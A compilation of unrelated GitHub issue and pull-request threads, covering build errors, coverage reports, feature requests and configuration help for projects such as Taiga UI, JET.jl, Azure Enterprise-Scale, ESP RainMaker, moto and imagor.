    mv tidk-plot.svg ${prefix}_plot.svg

Typical screenshot of the plot

Thanks for this, super helpful. I'll check the file you have given later but I am pretty sure this is the correct behaviour. I could implement a log y-scale if that would be helpful!

Maybe, I was also thinking about just displaying more the chromosome ends in a distorted x scale, since they are what is interesting here.
Or creating a simple heatmap in python of just the chromosome ends vs selected "background" from the chromatin.


how to convert the depthmapt to ponitcould or how can i know each pixel's depth?

how to convert the depthmapt to ponitcould or how can i know each pixel's depth?

It's grey, so from 0 to 255 for displacement. Afterwards, I divide into the number of layers I need


A service operator is able to mark a claim as rejected

This is the initial work to reject a claim. There are service implication to this we don't yet fully understand but we know enough to warrant being able to:

mark a claim as rejected
record the date and time the rejection occured
capture the reason for the rejection
send a notification to the user

For the time being we don't intend to use this feature.
More understanding around the reasons for rejection is needed before we include the reason in the notificaiton.

You've probably already thought of this but it might be good to have a rejection category or some way to categorise rejections that isn't free text. Might help later when providing stats on the service

@robbiepaul, could we use rejected_at.present?or similar to achieve that sort of thing?

I mean a category for the rejection reason, for instance: identity not matching, incorrect claim amount etc (sorry I can't remember all the criteria from the claims checking session). Feel free to ignore me, just going from my experience it's good to have a way to collate these types of things

@robbiepaul Sorry, got you! My bad. It's a great idea, We feel like we need to learn a bit more about why things get rejected before commiting to that – but it's definately a thing!

Closing this as it will need re-working once the new claim check model is introduced.


Filesystem: refactor estargz support

Codecov Report

Merging #77 (986edf7) into main (615dda8) will increase coverage by 0.66%.
The diff coverage is 7.28%.

@@            Coverage Diff             @@
##             main      #77      +/-   ##
==========================================
+ Coverage   28.78%   29.44%   +0.66%
==========================================
  Files          20       17       -3
  Lines        1567     1467     -100
==========================================
- Hits          451      432      -19
+ Misses       1049      971      -78
+ Partials       67       64       -3

Impacted Files
Coverage Δ

pkg/filesystem/fs/blob_manager.go
55.55% <ø> (ø)

pkg/filesystem/fs/resolver.go
0.00% <ø> (ø)

pkg/filesystem/fs/stargz/resolver.go
41.02% <0.00%> (ø)

pkg/filesystem/fs/config.go
3.65% <4.00%> (ø)

pkg/filesystem/fs/fs.go
7.52% <7.52%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 615dda8...986edf7. Read the comment docs.


refactor: coverage conter to uint and rm overflow checker

Pull Request Test Coverage Report for Build 2197
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.03%) to 91.369%

Totals

Change from base Build 2196:
0.03%

Covered Lines:
3652

Relevant Lines:
3997

💛  - Coveralls


[BUG] Unable to compile version 2.9.0

🐞 Bug report
Description
After upgrading to 2.9.0 I get the below errors when compiling my application.
Compiling TypeScript sources through NGC
ERROR: node_modules/@taiga-ui/core/components/dialog/dialog.service.d.ts:8:47 - error TS2307: Cannot find module '../../../../dist/core/types/dialog-options' or its corresponding type declarations.

    protected readonly defaultOptions: import("../../../../dist/core/types/dialog-options").TuiDialogBaseOptions & {
                                                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

An unhandled exception occurred: node_modules/@taiga-ui/core/components/dialog/dialog.service.d.ts:8:47 - error TS2307: Cannot find module '../../../../dist/core/types/dialog-options' or its corresponding type declarations.

    protected readonly defaultOptions: import("../../../../dist/core/types/dialog-options").TuiDialogBaseOptions & {

Expected behavior
To compile without error
Versions

OS: Windows
Browser N/A
Angular  12
Package<EMAIL_ADDRESS>
Additional context
Tried deleting the node_modules folder and package-lock.json to no avail
Package.json
  "dependencies": {
    "@angular/animations": "~12.0.0",
    "@angular/cdk": "^12.0.0",
    "@angular/common": "~12.0.0",
    "@angular/compiler": "~12.0.0",
    "@angular/core": "~12.0.0",
    "@angular/forms": "~12.0.0",
    "@angular/platform-browser": "~12.0.0",
    "@angular/platform-browser-dynamic": "~12.0.0",
    "@angular/router": "~12.0.0",
    "@microsoft/signalr": "^5.0.3",
    "@ng-web-apis/common": "^1.9.0",
    "@ngx-formly/core": "^6.0.0-next.1",
    "@ngx-formly/schematics": "^6.0.0-next.1",
    "@stripe/stripe-js": "^1.14.0",
    "@taiga-ui/addon-charts": "^2.9.0",
    "@taiga-ui/addon-table": "^2.9.0",
    "@taiga-ui/cdk": "^2.9.0",
    "@taiga-ui/core": "^2.9.0",
    "@taiga-ui/icons": "^2.9.0",
    "@taiga-ui/kit": "^2.9.0",
    "@tinkoff/ng-dompurify": "^3.0.0",
    "browser-image-compression": "^1.0.14",
    "dompurify": "^2.2.7",
    "rxjs": "~6.6.7",
    "tslib": "^2.1.0",
    "uuid": "^8.3.2",
    "zone.js": "~0.11.4"
  },
  "devDependencies": {
    "@angular-devkit/build-angular": "~12.0.0",
    "@angular-eslint/builder": "^12.0.0",
    "@angular-eslint/eslint-plugin": "^12.0.0",
    "@angular-eslint/eslint-plugin-template": "^12.0.0",
    "@angular-eslint/schematics": "12.0.0",
    "@angular-eslint/template-parser": "^12.0.0",
    "@angular/cli": "^12.0.0",
    "@angular/compiler-cli": "~12.0.0",
    "@types/dompurify": "^2.2.1",
    "@types/jasmine": "~3.6.0",
    "@types/node": "^12.11.1",
    "@types/uuid": "^8.3.0",
    "@typescript-eslint/eslint-plugin": "4.23.0",
    "@typescript-eslint/parser": "4.23.0",
    "cross-env": "^7.0.3",
    "eslint": "^7.26.0",
    "eslint-plugin-etc": "^1.4.0",
    "eslint-plugin-import": "2.22.1",
    "eslint-plugin-jsdoc": "30.7.6",
    "eslint-plugin-prefer-arrow": "1.2.2",
    "gulp": "^4.0.2",
    "gulp-debug": "^4.0.0",
    "gulp-replace": "^1.1.2",
    "jasmine-core": "~3.6.0",
    "jasmine-spec-reporter": "~5.0.0",
    "karma": "~6.3.2",
    "karma-chrome-launcher": "~3.1.0",
    "karma-coverage": "~2.0.3",
    "karma-jasmine": "~4.0.0",
    "karma-jasmine-html-reporter": "^1.5.0",
    "ng-packagr": "^12.0.0",
    "protractor": "~7.0.0",
    "source-map-explorer": "^2.5.2",
    "tailwindcss": "^2.0.3",
    "ts-node": "~8.3.0",
    "typescript": "~4.2.4"
  }

Yes, sorry about that, rushed a fix for webpack 5 and Angular 12 — for some reason script that we have that was supposed to catch such things didn't trigger. I'll release a new version soon.

Many thanks compiling well now!


Add badge

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Please upload report for BASE (main@2969d15). Learn more about missing BASE report.

Additional details and impacted files

@@           Coverage Diff            @@
##             main        #6   +/-   ##
========================================
  Coverage        ?   100.00%
========================================
  Files           ?        12
  Lines           ?       114
  Branches        ?         0
========================================
  Hits            ?       114
  Misses          ?         0
  Partials        ?         0


Add '--ordered option' to toc generation

Functionally backwards compatible. Moves the regex crate from dev-dependencies into the main dependencies.
In many (probably most) cases, the Table of Contents generated will look like this:
* [1. foo](0001-foo.md)
* [2. bar](0002-bar.md)
* [3. baz](0003-baz.md)

In my opinion this is ugly markdown, since it generates an unordered list and adds unsyntactic ordering after the fact. When rendered, it will look a lot like an ordered list, but with useless bullets in front of each item.
This patch adds a flag to leverage the common title structure generated by adrs to create a cleanly ordered list:
1. [foo](0001-foo.md)
1. [bar](0002-bar.md)
1. [baz](0003-baz.md)

Without the flag, output is unchanged. A few notes on error catching:

This feature is implemented against the commonmark standard, so only up to 9 digits are allowed in the identifier in the title. Please do not write a billion ADRs and attempt to generate a TOC with this flag.
While these cases will not come up if ADRs are generated with adrs, some allowances are made for custom setups:

Ordering is done entirely based on title contents. If the file has a conflicting number, or none at all, it will be disregarded. This allows for a slightly DRYer setup if desired.
Numbers cannot be missing, as commonmark has no allowances for out-of-order ordered lists.
All ADR titles must start with a valid ordered list identifier. This feature does not allow mixing and matching between styles.

Hi @joshrotenberg , thanks for maintaining this tool! I made a patch to fix a minor nit that I had with the output of most adr tools I've come across. Please let me know if this is a feature you're open to and/or if you have any suggestions for improvements.

Hi @joshrotenberg , thanks for maintaining this tool! I made a patch to fix a minor nit that I had with the output of most adr tools I've come across. Please let me know if this is a feature you're open to and/or if you have any suggestions for improvements.

Thanks for this! I'll take a closer look later today, but I'm definitely open to this (and other) new features if you have more ideas.


concretize all top-level code when analyzing a package

fix #224
fix #281
/cc @goerch I this change is enough for fixing report_package-related issues, and I guess the : foreigncall handling part of #280 isn't necessary with this change?

Codecov Report

Merging #283 (0f60d38) into master (b1c5ede) will decrease coverage by 1.56%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##           master     #283      +/-   ##
==========================================
- Coverage   89.09%   87.53%   -1.57%
==========================================
  Files          10       10
  Lines        2220     2214       -6
==========================================
- Hits         1978     1938      -40
- Misses        242      276      +34

Impacted Files
Coverage Δ

src/JET.jl
70.30% <ø> (-1.93%)
:arrow_down:

src/toplevel/virtualprocess.jl
97.14% <100.00%> (-0.23%)
:arrow_down:

src/abstractinterpret/abstractanalyzer.jl
76.85% <0.00%> (-5.11%)
:arrow_down:

src/analyzers/jetanalyzer.jl
91.97% <0.00%> (-4.03%)
:arrow_down:

src/abstractinterpret/typeinfer.jl
92.68% <0.00%> (-1.01%)
:arrow_down:

src/analyzers/optanalyzer.jl
87.36% <0.00%> (-0.39%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b1c5ede...0f60d38. Read the comment docs.

fix #224 fix #281
/cc @goerch I this change is enough for fixing report_package-related issues, and I guess the : foreigncall handling part of #280 isn't necessary with this change?

I have to admit, this change is way over my head. I like it because it is simplifying  _virtual_process!.

Would you expect the optimized code of JuliaInterpreter being identical to JET's internal code now?

Presumably? But I'd like to add the assertion you used in #280 as well.


Diagnostic policy for VWAN s2s VPN gateway

Overview/Summary
This PR add policy that will
enable diagnostic configuration for VWAN s2s VPN gateway
https://dev.azure.com/CSUSolEng/Azure Landing Zones/_workitems/edit/23793/
and remove duplicated category based on
https://github.com/Azure/Enterprise-Scale/issues/1190
This PR fixes/adds/changes/removes

Add new policy to configure diagnostic configuration
add policy to existing initiatives for azure public, China and US
remove duplicated settings from "Deploy Diagnostic Settings for VPN Gateway to Log Analytics workspace" policy

Breaking Changes
no breaking changes
Testing Evidence
Please provide any testing evidence to show that your Pull Request works/fixes as described and planned (include screenshots, if appropriate).

Testing URLs
The below URLs can be updated where the placeholders are, look for {YOUR GITHUB BRANCH NAME HERE - Remove Curly Brackets Also} & {YOUR GITHUB BRANCH NAME HERE - Remove Curly Brackets Also}, to allow you to test your portal deployment experience.

Please also replace the curly brackets on the placeholders {}

Azure Public

Azure US Gov (Fairfax)

As part of this Pull Request I have

[x] Checked for duplicate Pull Requests
[x] Associated it with relevant issues, for tracking and closure.
[x] Ensured my code/branch is up-to-date with the latest changes in the main branch
[x] Performed testing and provided evidence.
[x] Ensured contribution guidance is followed.
[ ] Updated relevant and associated documentation.
[ ] Updated the "What's New?" wiki page (located: /docs/wiki/whats-new.md)

Deployed new definition fine,

Will manually cleanup due to bug #1199


[feature] Make this work in "dry-run" mode

Would be great if this tool could leverage the relatively new pip install --dry-run to give a dep tree for a set of packages specified on the command line.

With us transitioning away from using pip API, we would need to approach this differently.
Looking at pip's implementation, they use the resolvelib library to perform dependency resolution. Not sure yet how they snatch packages from PyPI (to store it temporarily), but I believe it may performed in their PipProvider class.
There are some other things I believe we should take from their install subcommand:

--no-install: So that users aren't forced to consider the packages already installed in their environment
--index-url: So that we are not dependent on just PyPI and can allow users to choose any PEP 503 compliant repository


[HELP] Cannot log-in, possible Amazon Cognito setup issue

I followed the README file and setup an Amazon Cognito User Pool. (I used the default options for it.) I also created the App Client so I have the 3 required pieces of information according to the README. I successfully built the Android App in AndroidStudio and loaded it onto my phone. I get this error when attempting to login:
Sign-in failed
Unable to verify secret hash for client

Can you please provide more info on the Amazon Cognito side of the configuration? Also, will I be able to login with my normal email/password or am I required to use a new one that is also in Cognito?

Hi @meltdown03 ,
Try with below configuration.
"aws_region" - ""
"user_pool_id" - "us-east-1_kWz4M6MfD"
"client_id" - "60i6kac5f9rjuetqnq5mnmaqv6"

Hi @meltdown03 ,
Try with below configuration.
"aws_region" --> ""
"user_pool_id" --> "us-east-1_kWz4M6MfD"
"client_id" --> "60i6kac5f9rjuetqnq5mnmaqv6"

I basically had mine like that except I was in the us-west-2 region so I had that set and my user_pool_id started with it. Do you have to create a user or signup through the app once the pool is created?

Your config did let me log in though. I must have something set up wrong with Amazon Cognito. Could you tell me what you changed from the default values when you set up your pool? Like URLs, App Client, and Authorization settings.

I think I got a bit further... I recreated the app client and unchecked "Generate secret key". I no longer get the the error as in the OP. I now get "Incorrect username or password" or "Password attempts exceeded" if I try to many times.

I recreated the app client and unchecked "Generate secret key". I no longer get the the error as in the OP. I now get "Incorrect username or password". If I signup a new user, that user works. It's not forwarding or linking to the ESP-Rainmakers user database, just making it's own. How did you @khushbushah2302  get it setup in Cognito to do that?

I'm assuming you gave me the pool_id and app_client_id that all users use so I'm closing this issue. I now realize that I can make my own User Pool if I want.

@meltdown03 , I think there is some confusion here. The phone apps and CLI for ESP RainMaker will work with only one specific Cognito User Pool we have created in our RainMaker backend (and which @khushbushah2302 has mentioned above). Any other cognito user pool will not work. I may be wrong in my own understanding of the issue, so do let me know accordingly.

@meltdown03 , I think there is some confusion here. The phone apps and CLI for ESP RainMaker will work with only one specific Cognito User Pool we have created in our RainMaker backend (and which @khushbushah2302 has mentioned above). Any other cognito user pool will not work. I may be wrong in my own understanding of the issue, so do let me know accordingly.

Yes, that is how it works as I understand. You can make your own User Pool if you want, otherwise, use the info from @khushbushah2302 to use the normal pool from Espressif.


Collision component support of Meshes specified using Render instead of Model

Fixes https://github.com/playcanvas/engine/issues/2944
Public API:

Container exposes array of Render classes, instead of Meshes directly, and this was made public:
Container.renders - Array of assets of renders in the GLB container
Collision.renderAsset - render asset can be specified in addition to existing Collision.asset accepting a model asset.

Other changes:

collider uses mesh API to access indices and so supports 32bit indicies / large meshes now

Example:

extended falling-shapes.html example to use torus mesh collider, and changed it to use RenderComponent instead of ModelComponent

minor comment: the use of the name renders is is bit misleading - I wonder if there is a better name?

Maybe with possibly lot of changes? It's RenderComponent, that uses Render class, and array of those is called renders.
Equivalent to LightComponent, Light class, lights array.
Not sure this is worth changing now?


CycleConf hacking progress

RN upgraded
ListView implemented
Global touch events (for Cycle.js style event listening)
Touchable components
NavigationExperimental
Animated
Transform styles

Merging with faith in you guys :)


Synchronize with LUMC GitLab

Proposed change

Apply changes from LUMC GitLab
Type of change

[ ] Example (a notebook demonstrating how to use ZOSPy for a specific application)
[x] Bugfix (non-breaking change which fixes an issue)
[ ] New analysis (a wrapper around an OpticStudio analysis)
[ ] New feature (other than an analysis)
[ ] Breaking change (fix/feature causing existing functionality to break)
[ ] Code quality improvements to existing code or addition of tests

Additional information

Python version: N/A
OpticStudio version: N/A

Related issues

Closes #31
Checklist

[x] I have followed the contribution guidelines
[x] The code has been linted, formatted and tested locally using tox.
[x] Local tests pass. Please fix any problems before opening a PR. If this is not possible, specify what doesn't work and why you can't fix it.
[x] I added new tests for any features contributed, or updated existing tests.
[x] I updated CHANGELOG.md with my changes (except for refactorings and changes in the documentation).

If you contributed an analysis:

[ ] I did not use AttrDicts for the analysis result data (please use dataclasses instead).

If you contributed an example:

[ ] I contributed my example as a Jupyter notebook.

It seems that the compatibility information for version 23.2.1 has been dropped in the process

The compatibility problems have been fixed!


support openai lib: 4.15.3

the code here only works for 4.8.0: https://github.com/OpenPipe/OpenPipe/blob/main/client-libs/typescript/src/openai/streaming.ts#L13
in the latest version, current(4.15.3): it is here: https://github.com/openai/openai-node/blob/e0138e8a5939f6fe53639df78cd541e4e20927ed/src/streaming.ts#L21C24-L21C24
related PR: https://github.com/openai/openai-node/pull/370
The problem is that current OpenPipe's OpenAI lib does not work for streaming API due to refactoring of the PR above.
can we update to support latest code?
@arcticfly @corbt

Yep this makes sense. Feel free to open a PR, if not we'll definitely get to this as soon as we can!

Reopening to fix the streaming bug in particular.

@caoer Thanks for pointing this out. Should be fixed in https://github.com/OpenPipe/OpenPipe/pull/340.
Could you try out version 0.6.2 and see if you get the same error?

Thanks @arcticfly and @corbt !
I've tested, it is working OK now.


slider enconder  unable to process TCGA image features ， outputs overflow NAN

Error occurred:
Prov-gigapath main \ finetune \ training -->evaluate function
def evaluate(loader,  model, fp16_scaler, loss_fn, epoch, args):
      model.eval()
      # set the evaluation records
      records = get_records_array(len(loader), args.n_classes)
      # get the task setting
      task_setting = args.task_config.get('setting', 'multi_class')
      with torch.no_grad():
            for batch_idx, batch in enumerate(loader):
                  # load the batch and transform this batch
                  images, img_coords, label = batch['imgs'], batch['coords'], batch['labels']
                  images = images.to(args.device, non_blocking=True)
                  img_coords = img_coords.to(args.device, non_blocking=True)
                  label = label.to(args.device, non_blocking=True).long()
                  with torch.cuda.amp.autocast(fp16_scaler is not None,  dtype=torch.float16):
                        # get the logits
                        print(images)
                        print(img_coords)
                        logits = model(images, img_coords)
                        print(logits)

Data source: TCGA-HF-7132-01Z-00-DX1
Image feature matrix processed by tile enconder    (images)
tensor([[[-0.1227,  0.9527,  0.4235,  ..., -0.6721, -0.6071,  1.1120],
[-0.1409,  1.0089,  0.2850,  ...,  0.0581, -0.9595,  1.1386],
[ 0.8467, -0.1940,  0.7480,  ..., -0.4585, -1.4716,  1.0268],
...,
[ 0.5098,  0.1598,  0.8739,  ..., -0.1878, -0.5160,  0.7138],
[ 0.3427,  0.3222,  0.4500,  ..., -1.0347, -1.1425,  1.6356],
[ 0.2730,  1.4231, -0.0403,  ..., -1.1742, -0.8633,  1.2176]]],
device='cuda:0')
Image coordinate matrix processed by tile encoonder   (imd_coords)
tensor([[[137044.,  12944.],
[120660.,  26256.],
[120660.,  19088.],
...,
[ 65362.,  11920.],
[ 79698.,  25232.],
[  1872.,  23184.]]], device='cuda:0')
All values of the output matrix are NAN:    (logits)
tensor([[nan,  nan]], device='cuda:0', dtype=torch.float16)

Thank you for your amazing work
May I ask how to solve this problem? I would greatly appreciate any response
Sincerely wish you a wonderful day

Hi thanks for reaching out! Can you share your embeddings and scripts that you hope me to test? You can send it to my email, I'll try reproducing the errors first.

Thank you for your generous reply. As I do not know your email address, I have chosen to store the code on Google Cloud Drive. Here is my experimental data
https://drive.google.com/file/d/1MHt_JbzRFCInIqYu47vL9a2MTdwvUMjU/view?usp=sharing

Reproduce the process
TCGA data ->processed with 1.py ->obtained H5 file ->evaluated using modified PANDA.sh

py code: Responsible for sending TCGA files to tile enconder and obtaining H5 files

H5 file: located in data/dinov2_features/h5files

Data CSV file: divided into datacsv/PANDA
PANDA: Labels for all 301 TCGA images
Train: training set
Test: Test set
Val: validation set

Use the following command to reproduce the error:
bash scripts/run_panda.sh data/GigaPath_PANDA_embeddings/h5_files

您好，感谢您伸出援手！你能分享一下你希望我测试的嵌入和脚本吗？你可以把它发送到我的电子邮件，我会先尝试重现错误。

Hi thanks for reaching out! Can you share your embeddings and scripts that you hope me to test? You can send it to my email, I'll try reproducing the errors first.

Thank you for your generous reply. As I do not know your email address, I have chosen to store the code on Google Cloud Drive. Here is my experimental data
https://drive.google.com/file/d/1MHt_JbzRFCInIqYu47vL9a2MTdwvUMjU/view?usp=sharing
Reproduce the process
TCGA data ->processed with 1.py ->obtained H5 file ->evaluated using modified PANDA.sh
2、 1.py : Responsible for sending TCGA files to tile enconder and obtaining H5 files
H5 file: located in data/dinov2_features/h5files
Data CSV file: divided into datacsv/PANDA
PANDA: Labels for all 301 TCGA images
Train: training set
Test: Test set
Val: validation set
Use the following command to reproduce the error:
bash scripts/run_panda.sh data/GigaPath_PANDA_embeddings/h5_files


containerCss backgroundColor: 'transparent' (original request  #2517)

var containerCSS = {
...
backgroundColor: this.opt.backgroundColor || 'transparent'
};
white backgroundColor of containerCss overwrites the background of html2canvas. changed to transparent and also add an option to set backgroundColor from opt of jsPDF.

Would be not cleaner to set the backgroundColor in the the opt object at about line 156 and set it default to transparent and then reference only the this.opt.backgroundColor instead of "white"?

That makes sense. Just updated. Thanks!


[feature request]improve yurtstaticset upgrade models check

What would you like to be added:

we have added two new upgrade models for static pod, AdvancedRollingUpdate and OTA. and the definition as following:

https://github.com/openyurtio/openyurt/blob/74b0a474deee7a2305d679c3eeb270fb6245d24b/pkg/apis/apps/v1alpha1/yurtstaticset_types.go#L38-L41

and only AdvancedRollingUpdate, OTA can be accepted when we use it as the following:

https://github.com/openyurtio/openyurt/blob/74b0a474deee7a2305d679c3eeb270fb6245d24b/pkg/yurtmanager/webhook/yurtstaticset/v1alpha1/yurtstaticset_validation.go#L113

we want to support more flexible for these upgrade models, for example: advancedRollingUpdate with small letter begin, or  ota with all small letters. so maybe we can use strings.ToLower() to change these upgrade models to entire small letters before models check.

we need to improve all places for yurtstaticset which these new upgrade models are used.

others
/kind feature

Hi, @rambohe-ch
I'm new to openyurt, and I want to try this issue.

Hi, @rambohe-ch I'm new to openyurt, and I want to try this issue.

@huangchenzhao welcome you to contribute OpenYurt, please feel free to let us know in any ways if you have any questions.

/assign @huangchenzhao


[Bug/漏洞] Going into spectator mode will make you to fall through the world.

Checks / 检查

[X] I confirm that I have searched for existing issues / pull requests before reporting to avoid duplicate reporting./我确认在报告之前我已经搜索了现有的问题或者拉取请求，以避免重复报告。
[X] I confirm that I followed the Docs and read the Changelog, but this problem still exists./我确认我按照文档配置并阅读了Changelog，但这个问题仍然存在。
[X] I confirm that I noted that if I don't follow the instructions, the issue may be closed directly./我确认我已经检查，如果我不按照说明进行操作，该问题可能会被直接关闭。

Java Version / Java版本
Default
Minecraft Version / Minecraft版本
1.20.1
Avaritia-Reforge Version / Avaritia-Reforge版本
Re-Avaritia-forged-1.20.1-1.3.5
Description / 描述
When pressing F3 + F4 to go into spectator mode, instead of floating in the same place as before, you will fall through the world.
To Reproduce / 重现
Press F3 + F4 to go into spectator mode.
Log / 日志
https://mclo.gs/MBDYhqv
Config / 配置
Default

fix at neo/<IP_ADDRESS>

fix at neo/<IP_ADDRESS>

fixed


Clickhouse database in IMPORT FOREIGN SCHEMA

Hi.
Do I understand correctly that when doing IMPORT FOREIGN SCHEMA "x" FROM SERVER clickhouse INTO ch the "x" is ignored?
And that if I want to import from a specific Clickhouse database (equivalent, more or less, to a Postgres schema), then I need to CREATE SERVER for each Clickhouse database?
Seems like an unintuitive and poor usability workflow, is there any chance this could be changed?
Thanks.

Hi, just pushed, in the latest commit the "x" part will mean a database name to import.


Find a way to add extensions (e.g. callbacks) to moto

I have an environment where I want to test the whole EC2 creation flow, from the EC2 api request to a locally-simulated cloud VM with cloud-init.
I created this tool - https://github.com/retpolanne/cloud-vm-sim - that has an API endpoint that receives a userdata and creates a QEMU VM that can reach to this userdata and run cloud-init. I've extended the EC2 code to call this service on the mock and it works nicely :)
However, I wanted this to be cleaner - I don't want moto to have this code as this is useful just for me. I wanted to be able to specify a plugins directory and load them and call whatever is in my plugin before the EC2 response.

My code for cloud-sim call is here - https://github.com/getmoto/moto/commit/882e010f3c4b282821c308e5eb9be957c39962eb

Hi @retpolanne! Having an extensions/plugin system is quite the implementation/maintenance effort, and I'm not sure there would be enough usage to justify this.
As an alternative solution:
Would it work to use mock Moto, and extend the functionality that way? That looks like a simpler solution, and achieves the same result:
original_add_instance = InstanceBackend.add_instances
def add_instance_and_run_code(self, image_id, min_count, user_data, security_group_names, **kwargs):
    print("call vm as desired")
    return original_add_instance(self, image_id, min_count, user_data, security_group_names, **kwargs)

@mock_ec2
@mock.patch.object(InstanceBackend, "add_instances", add_instance_and_run_code)
def test_instance_launch_and_terminate():
    client = boto3.client("ec2", region_name="us-east-1")
    # whatever regular test you have...

@bblommers thanks! In my case, I'm using moto as a standalone server for apps running in another language, so that wouldn't really work :c

Ah, I understand. That makes a bit more difficult.
I'll mark it as a feature request, let's see if we can come up with a solution for this.


Run e2e conformance test for v1.21

What this PR does / why we need it:
Which issue this PR fixes(if applicable):
fixes #
Special notes for reviewers:

Release note:

NONE

Zuul is not restarted yet

/hold
might require zuul restart to reflect

/retest

/retest

/retest

still

/retest

/retest

/retest

@lingxiankong I guess now new e2e-conformance job is up and running, we should consider removing this job from here I guess.
@chrigl Are we posting the results of new e2e conformance job only for tesgrid? ANy change required there if we remove the job.

/test cloud-provider-openstack-test-occm-e2e-conformance

@lingxiankong I guess now new e2e-conformance job is up and running, we should consider removing this job from here I guess.
@chrigl Are we posting the results of new e2e conformance job only for tesgrid? ANy change required there if we remove the job.

If the tag is not a big thing, I can start migrating the e2e conformance test

@ramineni Please review https://github.com/theopenlab/openlab-zuul-jobs/pull/1188 which is using cloud-provider-openstack-test-occm as base job for v1.21 conformance test.

/hold cancel

@ramineni Please review theopenlab/openlab-zuul-jobs#1188 which is using cloud-provider-openstack-test-occm as base job for v1.21 conformance test.

@lingxiankong Thanks. Works perfectly

/lgtm
/approve
Fast approve as no code change involved.


Fix: Responsive CNCF logo

Fixes #256

Implements Bootstrap's img-fluid class

Some screenshots from different devices:

Device
Before
After

Desktop

iPad

iPhone X

!

Moto G4

Pixel 2

Thanks for the PR @ShubhamPalriwala!


[#3186] Resource Header Vue Instance

This PR implements a Vue instance for the resource header as continuation of the work done in #3186. The following actions are now performed asynchronously and don't require a page refresh:

Add Author
Edit Author
Delete Author
Rearrange Authors

These changes can be tested at https://riverdev.hydroshare.org
Other changes

Style update to the Author type selection controls.

Loading animation during ajax requests when rearranging Authors.

Placeholder indicator when dragging an Author to rearrange.

HydroShare identifier input field has been replaced with a link to the HydroShare profile.

Minor layout adjustment to Delete Author confirmation

Responsive state handler for various buttons during ajax requests.

Pull Request Checklist:

[x] Positive Test Case Written by Dev

[ ] Automated Testing

[ ] Sufficient User and Developer Documentation

[x] Passing Jenkins Build

[ ] Peer Code review and approval

Positive Test Case

Create a Resource
Add multiple authors.
Verify that editing/deleting/adding/rearranging authors is performed correctly and without page refresh.

This has been deployed to https://riverdev.hydroshare.org for testing purposes.

@Maurier - I noticed a few issues:

When an organization is selected, there should be no ability to enter author identifiers. Those are shown now on the form when Organization is selected, but shouldn't be.
Need to make sure there is example text in the author name field indicating that the name should be entered with the last name first - e.g., "Horsburgh, Jeffery S." Otherwise, your recent work to sort out author naming issues will be for not.
The modal window for entering contributor information should be consistent with this form. It still uses the radio buttons. Also, our text label on the contributors field says "People or organizations that contributed..." - but we only allow entry of people as contributors and not organizations. Should we be using the exact same form for both? If we allow organizations as contributors, there may be some back-end issues.
The delete button for an existing user once they are selected on the form is not exactly aligned in the input area:

These are the issues I found in doing a bit of testing just now in Chrome on my Mac.

@horsburgh - I think we should aim any changes in the Add Contributor workflow to be done inside the Vue instance I will be writing for this component in the near future.
In the meantime, I have implemented the changes listed above for consistency. In the case of Add Contributor, I've added the same control with only the two options supported right now:

Let me know if the wording should be changed to the text label above the contributors listing so that it's clear that Organizations can not be listed as Contributor (for now).

@Maurier - I think these changes are fine. For now, since you cannot add an organization as a contributor, I would change the wording on the edit page to:

People that contributed technically, materially, financially, or provided general support for the creation of the resource's content but are not considered authors.

@sblack-usu @Maurier is this ready to merge? I'd like to pull it into my PR and start conflict resolution.

@cuahsimarko It is, just need re-approval. I had to solve some merge conflicts and do some code cleanup after it was approved.


Update Build Configurations

Codecov Report

:exclamation: No coverage uploaded for pull request base (rxjava2@7bfcb26). Click here to learn what that means.
The diff coverage is n/a.

@@            Coverage Diff             @@
##             rxjava2      #26   +/-   ##
==========================================
  Coverage           ?   91.14%
  Complexity         ?      167
==========================================
  Files              ?       48
  Lines              ?      644
  Branches           ?       97
==========================================
  Hits               ?      587
  Misses             ?       23
  Partials           ?       34

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7bfcb26...9f53e92. Read the comment docs.


Support render of MD simulations outside jupyter notebook

I believe this won't be the right solution to move forward, since it is not super clean and not adaptable to under editors.
However, I think it provides the visuals now for the scenario, but I would keep this an high priority to change this in the near future.
Originally posted by @IvanPombo in https://github.com/inductiva/inductiva/pull/376#pullrequestreview-1545869433

This is connect with other more recent issues like #616 and #614. So I am gonna close this and any discussion should be contained to those places.


How to activate file saving?

Great tool!
The only question I have is how to activate file saving: I have defined the FILE_STORAGE_BASE_DIR in the docker-compose.yml file yet nothing happens when triggering the image treatments from the browser.

Can you share your docker-compose.yml?

Here you go:
version: "3"
services:
  imagor:
    image: shumc/imagor:latest
    container_name: igr
    restart: unless-stopped
    volumes:
      - /mnt/kuqfnl:/mnt/data
    environment:
      PORT: 8000
      IMAGOR_UNSAFE: 1
      FILE_LOADER_BASE_DIR: /mnt/data
      FILE_STORAGE_BASE_DIR: /mnt/data
    ports:
      - "7123:8000"
    labels:
        - 'com.centurylinklabs.watchtower.enable=true'

I just checked the access rights within /mnt/data and nothing seems off to me:
nobody@3056dcb822fa:/mnt/data$ ls -al
total 252
drwxrwsrwx 9   1000 1000   4096 Dec 10 15:16 .
drwxr-xr-x 1 root   root   4096 Dec 10 15:16 ..
drwxrwsrwx 2   1000 1000   4096 Aug 20 23:11 art
drwxrwsrwx 2   1000 1000  12288 Sep  2 11:51 grf
drwxr-sr-x 2 nobody 1000   4096 Dec 10 15:01 https%3A
drwxrwsrwx 2   1000 1000  36864 Sep  2 11:52 map
drwxrwsrwx 2   1000 1000  69632 Oct  1 21:07 mvp
drwxrwsrwx 2   1000 1000   4096 Aug 21 18:32 pho
drwxr-sr-x 2   1000 1000   4096 Dec 10 15:16 rsl
-rw-r--r-- 1   1000 1000 114063 Dec 10 14:53 tst.png

This is due to a typo that I made https://github.com/cshum/imagor/blob/master/cmd/imagor/main.go#L184 silly me lol.
I normally stick to the same folder for loader & storage, seems it is why it slipped through the cracks.
Thanks for pointing it out! Will rollout a fix and will let you know.

THX and bravo again!

